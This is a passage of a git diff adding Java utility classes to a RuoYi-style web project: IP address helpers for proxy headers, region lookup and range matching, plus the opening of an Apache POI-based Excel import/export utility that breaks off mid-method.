+ ")"; + public final static String REGX_IP_WILDCARD = "(((\\*\\.){3}\\*)|(" + REGX_0_255 + "(\\.\\*){3})|(" + REGX_0_255 + "\\." + REGX_0_255 + ")(\\.\\*){2}" + "|((" + REGX_0_255 + "\\.){3}\\*))"; + // 匹配网段 + public final static String REGX_IP_SEG = "(" + REGX_IP + "\\-" + REGX_IP + ")"; + + /** + * 获取客户端IP + * + * @return IP地址 + */ + public static String getIpAddr() + { + return getIpAddr(ServletUtils.getRequest()); + } + + /** + * 获取客户端IP + * + * @param request 请求对象 + * @return IP地址 + */ + public static String getIpAddr(HttpServletRequest request) + { + if (request == null) + { + return "unknown"; + } + String ip = request.getHeader("x-forwarded-for"); + if (ip == null || ip.length() == 0 || "unknown".equalsIgnoreCase(ip)) + { + ip = request.getHeader("Proxy-Client-IP"); + } + if (ip == null || ip.length() == 0 || "unknown".equalsIgnoreCase(ip)) + { + ip = request.getHeader("X-Forwarded-For"); + } + if (ip == null || ip.length() == 0 || "unknown".equalsIgnoreCase(ip)) + { + ip = request.getHeader("WL-Proxy-Client-IP"); + } + if (ip == null || ip.length() == 0 || "unknown".equalsIgnoreCase(ip)) + { + ip = request.getHeader("X-Real-IP"); + } + + if (ip == null || ip.length() == 0 || "unknown".equalsIgnoreCase(ip)) + { + ip = request.getRemoteAddr(); + } + + return "0:0:0:0:0:0:0:1".equals(ip) ? "127.0.0.1" : getMultistageReverseProxyIp(ip); + } + /** + * 根据IP地址获取城市 + * @param ip + * @return + */ + public static String getCityInfo(String ip) { + try { + // 读取jar包内的配置文件信息 + ClassPathResource resource = new ClassPathResource("static/ip2region.db"); + InputStream inputStream = resource.getInputStream(); + byte[] dbBinStr = IoUtil.readBytes(inputStream); + + //查询算法 + int algorithm = DbSearcher.MEMORY_ALGORITYM; //B-tree + //DbSearcher.BINARY_ALGORITHM //Binary + //DbSearcher.MEMORY_ALGORITYM //Memory + + DbConfig config = new DbConfig(); + DbSearcher searcher = new DbSearcher(config, dbBinStr); + Method method; + switch ( algorithm ) + { + case DbSearcher.BTREE_ALGORITHM: + method = searcher.getClass().getMethod("btreeSearch", String.class); + break; + case DbSearcher.BINARY_ALGORITHM: + method = searcher.getClass().getMethod("binarySearch", String.class); + break; + case DbSearcher.MEMORY_ALGORITYM: + method = searcher.getClass().getMethod("memorySearch", String.class); + break; + default: + return null; + } + DataBlock dataBlock; + String[] split = ip.split(","); + for (String s : split) { + if (Util.isIpAddress(s)) { + ip=s; + } + } + dataBlock = (DataBlock) method.invoke(searcher, ip); + return dataBlock.getRegion(); + } catch (Exception e) { + e.printStackTrace(); + } + return null; + } + + /** + * 检查是否为内部IP地址 + * + * @param ip IP地址 + * @return 结果 + */ + public static boolean internalIp(String ip) + { + byte[] addr = textToNumericFormatV4(ip); + return internalIp(addr) || "127.0.0.1".equals(ip); + } + + /** + * 检查是否为内部IP地址 + * + * @param addr byte地址 + * @return 结果 + */ + private static boolean internalIp(byte[] addr) + { + if (StringUtils.isNull(addr) || addr.length < 2) + { + return true; + } + final byte b0 = addr[0]; + final byte b1 = addr[1]; + // 10.x.x.x/8 + final byte SECTION_1 = 0x0A; + // 172.16.x.x/12 + final byte SECTION_2 = (byte) 0xAC; + final byte SECTION_3 = (byte) 0x10; + final byte SECTION_4 = (byte) 0x1F; + // 192.168.x.x/16 + final byte SECTION_5 = (byte) 0xC0; + final byte SECTION_6 = (byte) 0xA8; + switch (b0) + { + case SECTION_1: + return true; + case SECTION_2: + if (b1 >= SECTION_3 && b1 <= SECTION_4) + { + return true; + } + case SECTION_5: + switch (b1) + { + case SECTION_6: + return true; + } + default: + return false; + } + } + + /** + * 将IPv4地址转换成字节 + * + * @param text IPv4地址 + * @return byte 字节 + */ + public static byte[] textToNumericFormatV4(String text) + { + if (text.length() == 0) + { + return null; + } + + byte[] bytes = new byte[4]; + String[] elements = text.split("\\.", -1); + try + { + long l; + int i; + switch (elements.length) + { + case 1: + l = Long.parseLong(elements[0]); + if ((l < 0L) || (l > 4294967295L)) + { + return null; + } + bytes[0] = (byte) (int) (l >> 24 & 0xFF); + bytes[1] = (byte) (int) ((l & 0xFFFFFF) >> 16 & 0xFF); + bytes[2] = (byte) (int) ((l & 0xFFFF) >> 8 & 0xFF); + bytes[3] = (byte) (int) (l & 0xFF); + break; + case 2: + l = Integer.parseInt(elements[0]); + if ((l < 0L) || (l > 255L)) + { + return null; + } + bytes[0] = (byte) (int) (l & 0xFF); + l = Integer.parseInt(elements[1]); + if ((l < 0L) || (l > 16777215L)) + { + return null; + } + bytes[1] = (byte) (int) (l >> 16 & 0xFF); + bytes[2] = (byte) (int) ((l & 0xFFFF) >> 8 & 0xFF); + bytes[3] = (byte) (int) (l & 0xFF); + break; + case 3: + for (i = 0; i < 2; ++i) + { + l = Integer.parseInt(elements[i]); + if ((l < 0L) || (l > 255L)) + { + return null; + } + bytes[i] = (byte) (int) (l & 0xFF); + } + l = Integer.parseInt(elements[2]); + if ((l < 0L) || (l > 65535L)) + { + return null; + } + bytes[2] = (byte) (int) (l >> 8 & 0xFF); + bytes[3] = (byte) (int) (l & 0xFF); + break; + case 4: + for (i = 0; i < 4; ++i) + { + l = Integer.parseInt(elements[i]); + if ((l < 0L) || (l > 255L)) + { + return null; + } + bytes[i] = (byte) (int) (l & 0xFF); + } + break; + default: + return null; + } + } + catch (NumberFormatException e) + { + return null; + } + return bytes; + } + + /** + * 获取IP地址 + * + * @return 本地IP地址 + */ + public static String getHostIp() + { + try + { + return InetAddress.getLocalHost().getHostAddress(); + } + catch (UnknownHostException e) + { + } + return "127.0.0.1"; + } + + /** + * 获取主机名 + * + * @return 本地主机名 + */ + public static String getHostName() + { + try + { + return InetAddress.getLocalHost().getHostName(); + } + catch (UnknownHostException e) + { + } + return "未知"; + } + + /** + * 从多级反向代理中获得第一个非unknown IP地址 + * + * @param ip 获得的IP地址 + * @return 第一个非unknown IP地址 + */ + public static String getMultistageReverseProxyIp(String ip) + { + // 多级反向代理检测 + if (ip != null && ip.indexOf(",") > 0) + { + final String[] ips = ip.trim().split(","); + for (String subIp : ips) + { + if (false == isUnknown(subIp)) + { + ip = subIp; + break; + } + } + } + return StringUtils.substring(ip, 0, 255); + } + + /** + * 检测给定字符串是否为未知,多用于检测HTTP请求相关 + * + * @param checkString 被检测的字符串 + * @return 是否未知 + */ + public static boolean isUnknown(String checkString) + { + return StringUtils.isBlank(checkString) || "unknown".equalsIgnoreCase(checkString); + } + + /** + * 是否为IP + */ + public static boolean isIP(String ip) + { + return StringUtils.isNotBlank(ip) && ip.matches(REGX_IP); + } + + /** + * 是否为IP,或 *为间隔的通配符地址 + */ + public static boolean isIpWildCard(String ip) + { + return StringUtils.isNotBlank(ip) && ip.matches(REGX_IP_WILDCARD); + } + + /** + * 检测参数是否在ip通配符里 + */ + public static boolean ipIsInWildCardNoCheck(String ipWildCard, String ip) + { + String[] s1 = ipWildCard.split("\\."); + String[] s2 = ip.split("\\."); + boolean isMatchedSeg = true; + for (int i = 0; i < s1.length && !s1[i].equals("*"); i++) + { + if (!s1[i].equals(s2[i])) + { + isMatchedSeg = false; + break; + } + } + return isMatchedSeg; + } + + /** + * 是否为特定格式如:“10.10.10.1-10.10.10.99”的ip段字符串 + */ + public static boolean isIPSegment(String ipSeg) + { + return StringUtils.isNotBlank(ipSeg) && ipSeg.matches(REGX_IP_SEG); + } + + /** + * 判断ip是否在指定网段中 + */ + public static boolean ipIsInNetNoCheck(String iparea, String ip) + { + int idx = iparea.indexOf('-'); + String[] sips = iparea.substring(0, idx).split("\\."); + String[] sipe = iparea.substring(idx + 1).split("\\."); + String[] sipt = ip.split("\\."); + long ips = 0L, ipe = 0L, ipt = 0L; + for (int i = 0; i < 4; ++i) + { + ips = ips << 8 | Integer.parseInt(sips[i]); + ipe = ipe << 8 | Integer.parseInt(sipe[i]); + ipt = ipt << 8 | Integer.parseInt(sipt[i]); + } + if (ips > ipe) + { + long t = ips; + ips = ipe; + ipe = t; + } + return ips <= ipt && ipt <= ipe; + } + + /** + * 校验ip是否符合过滤串规则 + * + * @param filter 过滤IP列表,支持后缀'*'通配,支持网段如:`10.10.10.1-10.10.10.99` + * @param ip 校验IP地址 + * @return boolean 结果 + */ + public static boolean isMatchedIp(String filter, String ip) + { + if (StringUtils.isEmpty(filter) || StringUtils.isEmpty(ip)) + { + return false; + } + String[] ips = filter.split(";"); + for (String iStr : ips) + { + if (isIP(iStr) && iStr.equals(ip)) + { + return true; + } + else if (isIpWildCard(iStr) && ipIsInWildCardNoCheck(iStr, ip)) + { + return true; + } + else if (isIPSegment(iStr) && ipIsInNetNoCheck(iStr, ip)) + { + return true; + } + } + return false; + } +} \ No newline at end of file diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/poi/ExcelHandlerAdapter.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/poi/ExcelHandlerAdapter.java new file mode 100644 index 0000000..5ea74c1 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/poi/ExcelHandlerAdapter.java @@ -0,0 +1,19 @@ +package com.ruoyi.common.utils.poi; + +/** + * Excel数据格式处理适配器 + * + * @author ruoyi + */ +public interface ExcelHandlerAdapter +{ + /** + * 格式化 + * + * @param value 单元格数据值 + * @param args excel注解args参数组 + * + * @return 处理后的值 + */ + Object format(Object value, String[] args); +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/poi/ExcelUtil.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/poi/ExcelUtil.java new file mode 100644 index 0000000..e40c3d9 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/poi/ExcelUtil.java @@ -0,0 +1,1767 @@ +package com.ruoyi.common.utils.poi; + +import java.io.File; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.OutputStream; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.lang.reflect.ParameterizedType; +import java.math.BigDecimal; +import java.text.DecimalFormat; +import java.time.LocalDate; +import java.time.LocalDateTime; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.Collection; +import java.util.Comparator; +import java.util.Date; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Set; +import java.util.UUID; +import java.util.stream.Collectors; +import javax.servlet.http.HttpServletResponse; + +import com.ruoyi.common.enums.RecordEnum; +import org.apache.commons.lang3.ArrayUtils; +import org.apache.commons.lang3.RegExUtils; +import org.apache.commons.lang3.reflect.FieldUtils; +import org.apache.poi.hssf.usermodel.HSSFClientAnchor; +import org.apache.poi.hssf.usermodel.HSSFPicture; +import org.apache.poi.hssf.usermodel.HSSFPictureData; +import org.apache.poi.hssf.usermodel.HSSFShape; +import org.apache.poi.hssf.usermodel.HSSFSheet; +import org.apache.poi.hssf.usermodel.HSSFWorkbook; +import org.apache.poi.ooxml.POIXMLDocumentPart; +import org.apache.poi.ss.usermodel.BorderStyle; +import org.apache.poi.ss.usermodel.Cell; +import org.apache.poi.ss.usermodel.CellStyle; +import org.apache.poi.ss.usermodel.CellType; +import org.apache.poi.ss.usermodel.ClientAnchor; +import org.apache.poi.ss.usermodel.DataValidation; +import org.apache.poi.ss.usermodel.DataValidationConstraint; +import org.apache.poi.ss.usermodel.DataValidationHelper; +import org.apache.poi.ss.usermodel.DateUtil; +import org.apache.poi.ss.usermodel.Drawing; +import org.apache.poi.ss.usermodel.FillPatternType; +import org.apache.poi.ss.usermodel.Font; +import org.apache.poi.ss.usermodel.HorizontalAlignment; +import org.apache.poi.ss.usermodel.IndexedColors; +import org.apache.poi.ss.usermodel.Name; +import org.apache.poi.ss.usermodel.PictureData; +import org.apache.poi.ss.usermodel.Row; +import org.apache.poi.ss.usermodel.Sheet; +import org.apache.poi.ss.usermodel.VerticalAlignment; +import org.apache.poi.ss.usermodel.Workbook; +import org.apache.poi.ss.usermodel.WorkbookFactory; +import org.apache.poi.ss.util.CellRangeAddress; +import org.apache.poi.ss.util.CellRangeAddressList; +import org.apache.poi.util.IOUtils; +import org.apache.poi.xssf.streaming.SXSSFWorkbook; +import org.apache.poi.xssf.usermodel.XSSFClientAnchor; +import org.apache.poi.xssf.usermodel.XSSFDataValidation; +import org.apache.poi.xssf.usermodel.XSSFDrawing; +import org.apache.poi.xssf.usermodel.XSSFPicture; +import org.apache.poi.xssf.usermodel.XSSFShape; +import org.apache.poi.xssf.usermodel.XSSFSheet; +import org.apache.poi.xssf.usermodel.XSSFWorkbook; +import org.openxmlformats.schemas.drawingml.x2006.spreadsheetDrawing.CTMarker; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import com.ruoyi.common.annotation.Excel; +import com.ruoyi.common.annotation.Excel.ColumnType; +import com.ruoyi.common.annotation.Excel.Type; +import com.ruoyi.common.annotation.Excels; +import com.ruoyi.common.config.RuoYiConfig; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.text.Convert; +import com.ruoyi.common.exception.UtilException; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.DictUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.common.utils.file.FileTypeUtils; +import com.ruoyi.common.utils.file.FileUtils; +import com.ruoyi.common.utils.file.ImageUtils; +import com.ruoyi.common.utils.reflect.ReflectUtils; + +/** + * Excel相关处理 + * + * @author ruoyi + */ +public class ExcelUtil +{ + private static final Logger log = LoggerFactory.getLogger(ExcelUtil.class); + + public static final String FORMULA_REGEX_STR = "=|-|\\+|@"; + + public static final String[] FORMULA_STR = { "=", "-", "+", "@" }; + + /** + * 用于dictType属性数据存储,避免重复查缓存 + */ + public Map sysDictMap = new HashMap(); + + /** + * Excel sheet最大行数,默认65536 + */ + public static final int sheetSize = 65536; + + /** + * 工作表名称 + */ + private String sheetName; + + /** + * 导出类型(EXPORT:导出数据;IMPORT:导入模板) + */ + private Type type; + + /** + * 工作薄对象 + */ + private Workbook wb; + + /** + * 工作表对象 + */ + private Sheet sheet; + + /** + * 样式列表 + */ + private Map styles; + + /** + * 导入导出数据列表 + */ + private List list; + + /** + * 注解列表 + */ + private List fields; + + /** + * 当前行号 + */ + private int rownum; + + /** + * 标题 + */ + private String title; + + /** + * 最大高度 + */ + private short maxHeight; + + /** + * 合并后最后行数 + */ + private int subMergedLastRowNum = 0; + + /** + * 合并后开始行数 + */ + private int subMergedFirstRowNum = 1; + + /** + * 对象的子列表方法 + */ + private Method subMethod; + + /** + * 对象的子列表属性 + */ + private List subFields; + + /** + * 统计列表 + */ + private Map statistics = new HashMap(); + + /** + * 数字格式 + */ + private static final DecimalFormat DOUBLE_FORMAT = new DecimalFormat("######0.00"); + + /** + * 实体对象 + */ + public Class clazz; + + /** + * 需要排除列属性 + */ + public String[] excludeFields; + + public ExcelUtil(Class clazz) + { + this.clazz = clazz; + } + + /** + * 隐藏Excel中列属性 + * + * @param fields 列属性名 示例[单个"name"/多个"id","name"] + * @throws Exception + */ + public void hideColumn(String... fields) + { + this.excludeFields = fields; + } + + public void init(List list, String sheetName, String title, Type type) + { + if (list == null) + { + list = new ArrayList(); + } + this.list = list; + this.sheetName = sheetName; + this.type = type; + this.title = title; + createExcelField(); + createWorkbook(); + createTitle(); + createSubHead(); + } + + /** + * 创建excel第一行标题 + */ + public void createTitle() + { + if (StringUtils.isNotEmpty(title)) + { + subMergedFirstRowNum++; + subMergedLastRowNum++; + int titleLastCol = this.fields.size() - 1; + if (isSubList()) + { + titleLastCol = titleLastCol + subFields.size() - 1; + } + Row titleRow = sheet.createRow(rownum == 0 ? rownum++ : 0); + titleRow.setHeightInPoints(30); + Cell titleCell = titleRow.createCell(0); + titleCell.setCellStyle(styles.get("title")); + titleCell.setCellValue(title); + sheet.addMergedRegion(new CellRangeAddress(titleRow.getRowNum(), titleRow.getRowNum(), titleRow.getRowNum(), titleLastCol)); + } + } + + /** + * 创建对象的子列表名称 + */ + public void createSubHead() + { + if (isSubList()) + { + subMergedFirstRowNum++; + subMergedLastRowNum++; + Row subRow = sheet.createRow(rownum); + int excelNum = 0; + for (Object[] objects : fields) + { + Excel attr = (Excel) objects[1]; + Cell headCell1 = subRow.createCell(excelNum); + headCell1.setCellValue(attr.name()); + headCell1.setCellStyle(styles.get(StringUtils.format("header_{}_{}", attr.headerColor(), attr.headerBackgroundColor()))); + excelNum++; + } + int headFirstRow = excelNum - 1; + int headLastRow = headFirstRow + subFields.size() - 1; + if (headLastRow > headFirstRow) + { + sheet.addMergedRegion(new CellRangeAddress(rownum, rownum, headFirstRow, headLastRow)); + } + rownum++; + } + } + + /** + * 对excel表单默认第一个索引名转换成list + * + * @param is 输入流 + * @return 转换后集合 + */ + public List importExcel(InputStream is) throws Exception + { + return importExcel(is, 0); + } + + /** + * 对excel表单默认第一个索引名转换成list + * + * @param is 输入流 + * @param titleNum 标题占用行数 + * @return 转换后集合 + */ + public List importExcel(InputStream is, int titleNum) throws Exception + { + return importExcel(StringUtils.EMPTY, is, titleNum); + } + + /** + * 对excel表单指定表格索引名转换成list + * + * @param sheetName 表格索引名 + * @param titleNum 标题占用行数 + * @param is 输入流 + * @return 转换后集合 + */ + public List importExcel(String sheetName, InputStream is, int titleNum) throws Exception + { + this.type = Type.IMPORT; + this.wb = WorkbookFactory.create(is); + List list = new ArrayList(); + // 如果指定sheet名,则取指定sheet中的内容 否则默认指向第1个sheet + Sheet sheet = StringUtils.isNotEmpty(sheetName) ? wb.getSheet(sheetName) : wb.getSheetAt(0); + if (sheet == null) + { + throw new IOException("文件sheet不存在"); + } + boolean isXSSFWorkbook = !(wb instanceof HSSFWorkbook); + Map pictures; + if (isXSSFWorkbook) + { + pictures = getSheetPictures07((XSSFSheet) sheet, (XSSFWorkbook) wb); + } + else + { + pictures = getSheetPictures03((HSSFSheet) sheet, (HSSFWorkbook) wb); + } + // 获取最后一个非空行的行下标,比如总行数为n,则返回的为n-1 + int rows = sheet.getLastRowNum(); + + if (rows > 0) + { + // 定义一个map用于存放excel列的序号和field. + Map cellMap = new HashMap(); + // 获取表头 + Row heard = sheet.getRow(titleNum); + for (int i = 0; i < heard.getPhysicalNumberOfCells(); i++) + { + Cell cell = heard.getCell(i); + if (StringUtils.isNotNull(cell)) + { + String value = this.getCellValue(heard, i).toString(); + cellMap.put(value, i); + } + else + { + cellMap.put(null, i); + } + } + // 有数据时才处理 得到类的所有field. + List fields = this.getFields(); + Map fieldsMap = new HashMap(); + for (Object[] objects : fields) + { + Excel attr = (Excel) objects[1]; + Integer column = cellMap.get(attr.name()); + if (column != null) + { + fieldsMap.put(column, objects); + } + } + for (int i = titleNum + 1; i <= rows; i++) + { + // 从第2行开始取数据,默认第一行是表头. + Row row = sheet.getRow(i); + // 判断当前行是否是空行 + if (isRowEmpty(row)) + { + continue; + } + T entity = null; + for (Map.Entry entry : fieldsMap.entrySet()) + { + Object val = this.getCellValue(row, entry.getKey()); + + // 如果不存在实例则新建. + entity = (entity == null ? clazz.newInstance() : entity); + // 从map中得到对应列的field. + Field field = (Field) entry.getValue()[0]; + Excel attr = (Excel) entry.getValue()[1]; + // 取得类型,并根据对象类型设置值. + Class fieldType = field.getType(); + if (String.class == fieldType) + { + String s = Convert.toStr(val); + if (StringUtils.endsWith(s, ".0")) + { + val = StringUtils.substringBefore(s, ".0"); + } + else + { + String dateFormat = field.getAnnotation(Excel.class).dateFormat(); + if (StringUtils.isNotEmpty(dateFormat)) + { + val = parseDateToStr(dateFormat, val); + } + else + { + val = Convert.toStr(val); + } + } + } + else if ((Integer.TYPE == fieldType || Integer.class == fieldType) && StringUtils.isNumeric(Convert.toStr(val))) + { + val = Convert.toInt(val); + } + else if ((Long.TYPE == fieldType || Long.class == fieldType) && StringUtils.isNumeric(Convert.toStr(val))) + { + val = Convert.toLong(val); + } + else if (Double.TYPE == fieldType || Double.class == fieldType) + { + val = Convert.toDouble(val); + } + else if (Float.TYPE == fieldType || Float.class == fieldType) + { + val = Convert.toFloat(val); + } + else if (BigDecimal.class == fieldType) + { + val = Convert.toBigDecimal(val); + } + else if (Date.class == fieldType) + { + if (val instanceof String) + { + val = DateUtils.parseDate(val); + } + else if (val instanceof Double) + { + val = DateUtil.getJavaDate((Double) val); + } + } + else if (Boolean.TYPE == fieldType || Boolean.class == fieldType) + { + val = Convert.toBool(val, false); + } + if (StringUtils.isNotNull(fieldType)) + { + String propertyName = field.getName(); + if (StringUtils.isNotEmpty(attr.targetAttr())) + { + propertyName = field.getName() + "." + attr.targetAttr(); + } + else if (StringUtils.isNotEmpty(attr.readConverterExp())) + { + val = reverseByExp(Convert.toStr(val), attr.readConverterExp(), attr.separator()); + } + else if (StringUtils.isNotEmpty(attr.dictType())) + { + val = reverseDictByExp(Convert.toStr(val), attr.dictType(), attr.separator()); + } + else if (StringUtils.isNotEmpty(attr.enumType())) + { + val = getEnumByType(Convert.toStr(val), attr.enumType()); + } + else if (!attr.handler().equals(ExcelHandlerAdapter.class)) + { + val = dataFormatHandlerAdapter(val, attr); + } + else if (ColumnType.IMAGE == attr.cellType() && StringUtils.isNotEmpty(pictures)) + { + PictureData image = pictures.get(row.getRowNum() + "_" + entry.getKey()); + if (image == null) + { + val = ""; + } + else + { + byte[] data = image.getData(); + val = FileUtils.writeImportBytes(data); + } + } + ReflectUtils.invokeSetter(entity, propertyName, val); + } + } + list.add(entity); + } + } + return list; + } + + /** + * 对list数据源将其里面的数据导入到excel表单 + * + * @param list 导出数据集合 + * @param sheetName 工作表的名称 + * @return 结果 + */ + public AjaxResult exportExcel(List list, String sheetName) + { + return exportExcel(list, sheetName, StringUtils.EMPTY); + } + + /** + * 对list数据源将其里面的数据导入到excel表单 + * + * @param list 导出数据集合 + * @param sheetName 工作表的名称 + * @param title 标题 + * @return 结果 + */ + public AjaxResult exportExcel(List list, String sheetName, String title) + { + this.init(list, sheetName, title, Type.EXPORT); + return exportExcel(); + } + + /** + * 对list数据源将其里面的数据导入到excel表单 + * + * @param response 返回数据 + * @param list 导出数据集合 + * @param sheetName 工作表的名称 + * @return 结果 + */ + public void exportExcel(HttpServletResponse response, List list, String sheetName) + { + exportExcel(response, list, sheetName, StringUtils.EMPTY); + } + + /** + * 对list数据源将其里面的数据导入到excel表单 + * + * @param response 返回数据 + * @param list 导出数据集合 + * @param sheetName 工作表的名称 + * @param title 标题 + * @return 结果 + */ + public void exportExcel(HttpServletResponse response, List list, String sheetName, String title) + { + response.setContentType("application/vnd.openxmlformats-officedocument.spreadsheetml.sheet"); + response.setCharacterEncoding("utf-8"); + this.init(list, sheetName, title, Type.EXPORT); + exportExcel(response); + } + + /** + * 对list数据源将其里面的数据导入到excel表单 + * + * @param sheetName 工作表的名称 + * @return 结果 + */ + public AjaxResult importTemplateExcel(String sheetName) + { + return importTemplateExcel(sheetName, StringUtils.EMPTY); + } + + /** + * 对list数据源将其里面的数据导入到excel表单 + * + * @param sheetName 工作表的名称 + * @param title 标题 + * @return 结果 + */ + public AjaxResult importTemplateExcel(String sheetName, String title) + { + this.init(null, sheetName, title, Type.IMPORT); + return exportExcel(); + } + + /** + * 对list数据源将其里面的数据导入到excel表单 + * + * @param sheetName 工作表的名称 + * @return 结果 + */ + public void importTemplateExcel(HttpServletResponse response, String sheetName) + { + importTemplateExcel(response, sheetName, StringUtils.EMPTY); + } + + /** + * 对list数据源将其里面的数据导入到excel表单 + * + * @param sheetName 工作表的名称 + * @param title 标题 + * @return 结果 + */ + public void importTemplateExcel(HttpServletResponse response, String sheetName, String title) + { + response.setContentType("application/vnd.openxmlformats-officedocument.spreadsheetml.sheet"); + response.setCharacterEncoding("utf-8"); + this.init(null, sheetName, title, Type.IMPORT); + exportExcel(response); + } + + /** + * 对list数据源将其里面的数据导入到excel表单 + * + * @return 结果 + */ + public void exportExcel(HttpServletResponse response) + { + try + { + writeSheet(); + wb.write(response.getOutputStream()); + } + catch (Exception e) + { + log.error("导出Excel异常{}", e.getMessage()); + } + finally + { + IOUtils.closeQuietly(wb); + } + } + + /** + * 对list数据源将其里面的数据导入到excel表单 + * + * @return 结果 + */ + public AjaxResult exportExcel() + { + OutputStream out = null; + try + { + writeSheet(); + String filename = encodingFilename(sheetName); + out = new FileOutputStream(getAbsoluteFile(filename)); + wb.write(out); + return AjaxResult.success(filename); + } + catch (Exception e) + { + log.error("导出Excel异常{}", e.getMessage()); + throw new UtilException("导出Excel失败,请联系网站管理员!"); + } + finally + { + IOUtils.closeQuietly(wb); + IOUtils.closeQuietly(out); + } + } + + /** + * 创建写入数据到Sheet + */ + public void writeSheet() + { + // 取出一共有多少个sheet. + int sheetNo = Math.max(1, (int) Math.ceil(list.size() * 1.0 / sheetSize)); + for (int index = 0; index < sheetNo; index++) + { + createSheet(sheetNo, index); + + // 产生一行 + Row row = sheet.createRow(rownum); + int column = 0; + // 写入各个字段的列头名称 + for (Object[] os : fields) + { + Field field = (Field) os[0]; + Excel excel = (Excel) os[1]; + if (Collection.class.isAssignableFrom(field.getType())) + { + for (Field subField : subFields) + { + Excel subExcel = subField.getAnnotation(Excel.class); + this.createHeadCell(subExcel, row, column++); + } + } + else + { + this.createHeadCell(excel, row, column++); + } + } + if (Type.EXPORT.equals(type)) + { + fillExcelData(index, row); + addStatisticsRow(); + } + } + } + + /** + * 填充excel数据 + * + * @param index 序号 + * @param row 单元格行 + */ + @SuppressWarnings("unchecked") + public void fillExcelData(int index, Row row) + { + int startNo = index * sheetSize; + int endNo = Math.min(startNo + sheetSize, list.size()); + int rowNo = (1 + rownum) - startNo; + for (int i = startNo; i < endNo; i++) + { + rowNo = isSubList() ? (i > 1 ? rowNo + 1 : rowNo + i) : i + 1 + rownum - startNo; + row = sheet.createRow(rowNo); + // 得到导出对象. + T vo = (T) list.get(i); + Collection subList = null; + if (isSubList()) + { + if (isSubListValue(vo)) + { + subList = getListCellValue(vo); + subMergedLastRowNum = subMergedLastRowNum + subList.size(); + } + else + { + subMergedFirstRowNum++; + subMergedLastRowNum++; + } + } + int column = 0; + for (Object[] os : fields) + { + Field field = (Field) os[0]; + Excel excel = (Excel) os[1]; + if (Collection.class.isAssignableFrom(field.getType()) && StringUtils.isNotNull(subList)) + { + boolean subFirst = false; + for (Object obj : subList) + { + if (subFirst) + { + rowNo++; + row = sheet.createRow(rowNo); + } + List subFields = FieldUtils.getFieldsListWithAnnotation(obj.getClass(), Excel.class); + int subIndex = 0; + for (Field subField : subFields) + { + if (subField.isAnnotationPresent(Excel.class)) + { + subField.setAccessible(true); + Excel attr = subField.getAnnotation(Excel.class); + this.addCell(attr, row, (T) obj, subField, column + subIndex); + } + subIndex++; + } + subFirst = true; + } + this.subMergedFirstRowNum = this.subMergedFirstRowNum + subList.size(); + } + else + { + this.addCell(excel, row, vo, field, column++); + } + } + } + } + + /** + * 创建表格样式 + * + * @param wb 工作薄对象 + * @return 样式列表 + */ + private Map createStyles(Workbook wb) + { + // 写入各条记录,每条记录对应excel表中的一行 + Map styles = new HashMap(); + CellStyle style = wb.createCellStyle(); + style.setAlignment(HorizontalAlignment.CENTER); + style.setVerticalAlignment(VerticalAlignment.CENTER); + Font titleFont = wb.createFont(); + titleFont.setFontName("Arial"); + titleFont.setFontHeightInPoints((short) 16); + titleFont.setBold(true); + style.setFont(titleFont); + styles.put("title", style); + + style = wb.createCellStyle(); + style.setAlignment(HorizontalAlignment.CENTER); + style.setVerticalAlignment(VerticalAlignment.CENTER); + style.setBorderRight(BorderStyle.THIN); + style.setRightBorderColor(IndexedColors.GREY_50_PERCENT.getIndex()); + style.setBorderLeft(BorderStyle.THIN); + style.setLeftBorderColor(IndexedColors.GREY_50_PERCENT.getIndex()); + style.setBorderTop(BorderStyle.THIN); + style.setTopBorderColor(IndexedColors.GREY_50_PERCENT.getIndex()); + style.setBorderBottom(BorderStyle.THIN); + style.setBottomBorderColor(IndexedColors.GREY_50_PERCENT.getIndex()); + Font dataFont = wb.createFont(); + dataFont.setFontName("Arial"); + dataFont.setFontHeightInPoints((short) 10); + style.setFont(dataFont); + styles.put("data", style); + + style = wb.createCellStyle(); + style.setAlignment(HorizontalAlignment.CENTER); + style.setVerticalAlignment(VerticalAlignment.CENTER); + Font totalFont = wb.createFont(); + totalFont.setFontName("Arial"); + totalFont.setFontHeightInPoints((short) 10); + style.setFont(totalFont); + styles.put("total", style); + + styles.putAll(annotationHeaderStyles(wb, styles)); + + styles.putAll(annotationDataStyles(wb)); + + return styles; + } + + /** + * 根据Excel注解创建表格头样式 + * + * @param wb 工作薄对象 + * @return 自定义样式列表 + */ + private Map annotationHeaderStyles(Workbook wb, Map styles) + { + Map headerStyles = new HashMap(); + for (Object[] os : fields) + { + Excel excel = (Excel) os[1]; + String key = StringUtils.format("header_{}_{}", excel.headerColor(), excel.headerBackgroundColor()); + if (!headerStyles.containsKey(key)) + { + CellStyle style = wb.createCellStyle(); + style.cloneStyleFrom(styles.get("data")); + style.setAlignment(HorizontalAlignment.CENTER); + style.setVerticalAlignment(VerticalAlignment.CENTER); + style.setFillForegroundColor(excel.headerBackgroundColor().index); + style.setFillPattern(FillPatternType.SOLID_FOREGROUND); + Font headerFont = wb.createFont(); + headerFont.setFontName("Arial"); + headerFont.setFontHeightInPoints((short) 10); + headerFont.setBold(true); + headerFont.setColor(excel.headerColor().index); + style.setFont(headerFont); + headerStyles.put(key, style); + } + } + return headerStyles; + } + + /** + * 根据Excel注解创建表格列样式 + * + * @param wb 工作薄对象 + * @return 自定义样式列表 + */ + private Map annotationDataStyles(Workbook wb) + { + Map styles = new HashMap(); + for (Object[] os : fields) + { + Excel excel = (Excel) os[1]; + String key = StringUtils.format("data_{}_{}_{}", excel.align(), excel.color(), excel.backgroundColor()); + if (!styles.containsKey(key)) + { + CellStyle style = wb.createCellStyle(); + style.setAlignment(excel.align()); + style.setVerticalAlignment(VerticalAlignment.CENTER); + 